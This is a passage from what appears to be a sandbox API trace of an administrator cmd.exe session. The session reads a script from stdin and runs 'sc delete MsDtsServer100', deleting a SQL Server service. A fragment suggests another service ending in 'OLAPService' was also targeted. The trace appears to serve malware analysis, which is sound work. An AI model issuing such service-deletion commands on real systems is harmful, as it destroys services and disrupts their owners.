lpWideCharStr="rOLAPService\n\n") returned 1 [0076.447] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.447] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.448] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.448] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="1LAPService\n\n") returned 1 [0076.448] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.448] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.448] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.448] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="0APService\n\n") returned 1 [0076.448] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.448] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.448] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.448] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="0PService\n\n") returned 1 [0076.448] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.448] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.448] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.448] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="\nService\n\n") returned 1 [0076.448] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.448] GetFileType (hFile=0xb8) returned 0x3 [0076.448] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.448] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.448] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.448] GetFileType (hFile=0x120) returned 0x3 [0076.448] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.448] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MsDtsServer100\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MsDtsServer100\n", lpUsedDefaultChar=0x0) returned 26 [0076.448] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x19, lpOverlapped=0x0) returned 1 [0076.448] GetProcessHeap () returned 0x240000 [0076.448] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0076.448] GetProcessHeap () returned 0x240000 [0076.448] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0076.449] GetProcessHeap () returned 0x240000 [0076.449] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0076.449] GetProcessHeap () returned 0x240000 [0076.449] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0076.449] GetProcessHeap () returned 0x240000 [0076.449] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3e) returned 0x25aa40 [0076.449] GetConsoleOutputCP () returned 0x1b5 [0076.449] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.449] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.449] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.449] GetProcessHeap () returned 0x240000 [0076.449] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0076.449] GetProcessHeap () returned 0x240000 [0076.449] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x44) returned 0x25aa90 [0076.449] GetProcessHeap () returned 0x240000 [0076.449] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c590 [0076.449] SetErrorMode (uMode=0x0) returned 0x1 [0076.449] SetErrorMode (uMode=0x1) returned 0x0 [0076.450] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5a0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0076.450] SetErrorMode (uMode=0x1) returned 0x1 [0076.450] GetProcessHeap () returned 0x240000 [0076.450] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c590, Size=0x62) returned 0x25c590 [0076.450] GetProcessHeap () returned 0x240000 [0076.450] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c590) returned 0x62 [0076.450] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0076.450] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0076.450] GetProcessHeap () returned 0x240000 [0076.450] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0076.450] GetProcessHeap () returned 0x240000 [0076.450] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0076.450] GetProcessHeap () returned 0x240000 [0076.450] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0076.450] GetProcessHeap () returned 0x240000 [0076.450] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0076.450] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0076.450] GetProcessHeap () returned 0x240000 [0076.450] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0076.450] GetProcessHeap () returned 0x240000 [0076.450] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0076.450] GetProcessHeap () returned 0x240000 [0076.450] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0076.450] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.450] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.451] GetLastError () returned 0x2 [0076.451] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.451] GetLastError () returned 0x2 [0076.451] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.451] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x25ba10 [0076.451] FindClose (in: hFindFile=0x25ba10 | out: hFindFile=0x25ba10) returned 1 [0076.451] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.451] GetLastError () returned 0x2 [0076.451] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x25ba10 [0076.451] FindClose (in: hFindFile=0x25ba10 | out: hFindFile=0x25ba10) returned 1 [0076.451] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0076.451] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0076.451] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.452] GetProcessHeap () returned 0x240000 [0076.452] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0076.452] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.452] GetProcessHeap () returned 0x240000 [0076.452] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xaa) returned 0x259180 [0076.452] GetProcessHeap () returned 0x240000 [0076.452] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xaa [0076.452] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MsDtsServer100") returned 1 [0076.452] GetProcessHeap () returned 0x240000 [0076.452] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0076.452] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0076.452] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0076.452] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0076.453] GetProcessHeap () returned 0x240000 [0076.453] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0076.453] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0076.454] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0076.454] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0076.454] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0076.454] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0076.454] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0076.454] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.454] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.454] GetProcessHeap () returned 0x240000 [0076.454] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0076.454] GetProcessHeap () returned 0x240000 [0076.454] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0076.454] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MsDtsServer100", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MsDtsServer100", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete MsDtsServer100", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0xb60, dwThreadId=0xbb4)) returned 1 [0076.457] CloseHandle (hObject=0x50) returned 1 [0076.457] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0076.457] GetProcessHeap () returned 0x240000 [0076.457] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0076.457] GetEnvironmentStringsW () returned 0x261b10* [0076.457] GetProcessHeap () returned 0x240000 [0076.457] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0076.457] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.457] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0076.457] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd9000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0076.457] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0076.563] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0076.563] CloseHandle (hObject=0x54) returned 1 [0076.563] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0076.563] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0076.563] GetProcessHeap () returned 0x240000 [0076.563] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.563] GetEnvironmentStringsW () returned 0x261b10* [0076.563] GetProcessHeap () returned 0x240000 [0076.563] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0076.563] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.564] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.564] GetProcessHeap () returned 0x240000 [0076.564] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.564] GetEnvironmentStringsW () returned 0x261b10* [0076.564] GetProcessHeap () returned 0x240000 [0076.564] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0076.564] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.564] GetProcessHeap () returned 0x240000 [0076.564] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0076.564] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0076.564] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0076.564] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.564] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0076.565] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.565] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0076.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.565] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0076.565] GetConsoleOutputCP () returned 0x1b5 [0076.565] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.565] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.565] GetProcessHeap () returned 0x240000 [0076.565] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0076.565] GetProcessHeap () returned 0x240000 [0076.565] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0076.565] GetProcessHeap () returned 0x240000 [0076.565] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0076.565] GetProcessHeap () returned 0x240000 [0076.565] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c590 | out: hHeap=0x240000) returned 1 [0076.565] GetProcessHeap () returned 0x240000 [0076.565] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa90 | out: hHeap=0x240000) returned 1 [0076.565] GetProcessHeap () returned 0x240000 [0076.565] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0076.566] GetProcessHeap () returned 0x240000 [0076.566] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0076.566] GetProcessHeap () returned 0x240000 [0076.566] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0076.566] GetProcessHeap () returned 0x240000 [0076.566] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0076.566] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0076.566] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.566] GetFileType (hFile=0x120) returned 0x3 [0076.566] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.566] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0076.566] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0076.566] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0076.566] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.566] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0076.566] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0076.566] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.566] GetFileType (hFile=0x120) returned 0x3 [0076.566] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.566] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0076.566] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0076.566] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.566] GetFileType (hFile=0xb8) returned 0x3 [0076.567] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.567] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.567] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete MsDtsServer100\nService\n\n") returned 1 [0076.567] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.567] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.567] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete MsDtsServer100\nService\n\n") returned 1 [0076.567] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.567] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.567] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete MsDtsServer100\nService\n\n") returned 1 [0076.567] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.567] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.567] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete MsDtsServer100\nService\n\n") returned 1 [0076.567] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.567] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 